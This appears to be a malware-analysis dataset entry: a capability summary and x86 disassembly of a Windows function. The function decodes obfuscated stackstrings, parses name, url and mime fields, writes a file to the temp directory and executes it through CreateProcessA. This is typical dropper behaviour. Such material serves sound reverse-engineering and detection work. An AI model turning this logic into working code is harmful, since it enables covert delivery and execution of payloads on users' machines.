Function at 0x40d460
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x11b8
call fcn.00417000
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x1158], ebx
push esi
push edi
test ebx, ebx
je 0x40d7b5
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x6d616e26
mov dword [ebp - 0x1144], eax
lea esi, [ebp - 0x1144]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x1c], 0x223d65
mov dword [ebp - 0x1140], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x113c], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x1138], eax
xor eax, eax
mov dword [ebp - 0x18], 0x6c727526
mov word [ebp - 0x14], 0x223d
mov byte [ebp - 0x12], 0
mov dword [ebp - 0x28], 0x6d696d26
mov dword [ebp - 0x24], 0x223d65
mov dword [ebp - 0x10], 0x3d317426
mov word [ebp - 0xc], 0x22
mov dword [ebp - 0x114c], eax
mov dword [ebp - 0x1148], esi
lea ecx, [ecx]
push 0x400
lea edi, [ebp - 0x1134]
add eax, edi
push 0
push eax
mov dword [ebp - 0x1154], eax
call fcn.004164d0
mov esi, dword [esi]
add esp, 0xc
push esi
push ebx
call fcn.004133a0
mov edi, eax
add esp, 8
test edi, edi
je 0x40d609
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x40d537
sub esi, ecx
add edi, esi
push 0x4346d4
push edi
call fcn.004133a0
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x40d5a9
test edi, edi
je 0x40d594
mov esi, edi
mov ebx, edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x40d561
sub esi, ecx
cmp esi, 0x3ff
jg 0x40d5de
push esi
push edi
push dword [ebp - 0x1154]
call fcn.004171d0
mov eax, dword [ebp - 0x114c]
add esp, 0xc
add eax, esi
mov byte [ebp + eax - 0x1134], 0
jmp 0x40d5de
push 0x434304
push 0
call fcn.004133a0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x40d609
mov esi, ebx
sub esi, edi
cmp esi, 0x3ff
jg 0x40d5de
push esi
push edi
push dword [ebp - 0x1154]
call fcn.004171d0
mov eax, dword [ebp - 0x114c]
add esp, 0xc
add eax, esi
push edi
mov byte [ebp + eax - 0x1134], 0
call dword [sym.imp.USER32.dll_CharNextA]
mov ebx, eax
mov eax, dword [ebp - 0x114c]
mov esi, dword [ebp - 0x1148]
add eax, 0x400
add esi, 4
mov dword [ebp - 0x114c], eax
mov dword [ebp - 0x1148], esi
cmp eax, 0x1000
jl 0x40d500
lea eax, [ebp - 0x934]
push eax
call fcn.0040c360
test al, al
jne 0x40d7b5
lea edx, [ebp - 0x1148]
mov dword [ebp - 0x1148], 0
lea ecx, [ebp - 0xd34]
call fcn.00403dc0
mov edi, dword [ebp - 0x1148]
mov esi, eax
test edi, edi
je 0x40d7b5
test esi, esi
je 0x40d7b5
push 0x103
lea eax, [ebp - 0x133]
mov byte [ebp - 0x134], 0
push 0
push eax
call fcn.004164d0
add esp, 0xc
lea eax, [ebp - 0x134]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40d7b5
lea eax, [ebp - 0x1134]
push eax
lea eax, [ebp - 0x134]
push 0x104
push eax
call fcn.00413070
add esp, 0xc
lea eax, [ebp - 0x134]
push 0x434900
push eax
lea eax, [ebp - 0x1150]
push eax
call fcn.00413b1a
mov eax, dword [ebp - 0x1150]
add esp, 0xc
test eax, eax
je 0x40d6ec
push eax
push esi
push 1
push edi
call fcn.004142a9
push dword [ebp - 0x1150]
call fcn.004140d9
add esp, 0x14
lea eax, [ebp - 0x1168]
mov dword [ebp - 0x11b4], 0x44
push eax
lea eax, [ebp - 0x11b4]
mov dword [ebp - 0x11b0], 0
push eax
push 0
push 0
push 0x200
push 0
push 0
push 0
lea eax, [ebp - 0x134]
mov dword [ebp - 0x11ac], 0x434224
push eax
push 0
mov dword [ebp - 0x11a8], 0
mov dword [ebp - 0x1188], 1
mov dword [ebp - 0x1184], 5
mov dword [ebp - 0x1180], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40d7b5
push dword [ebp - 0x1164]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1168]
call esi
mov edx, dword [ebp - 0x1158]
lea ecx, [ebp - 0x1134]
mov eax, ecx
sub edx, eax
jmp 0x40d790
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x40d790
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00412a27
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412a27
mov esp, ebp
pop ebp
ret 4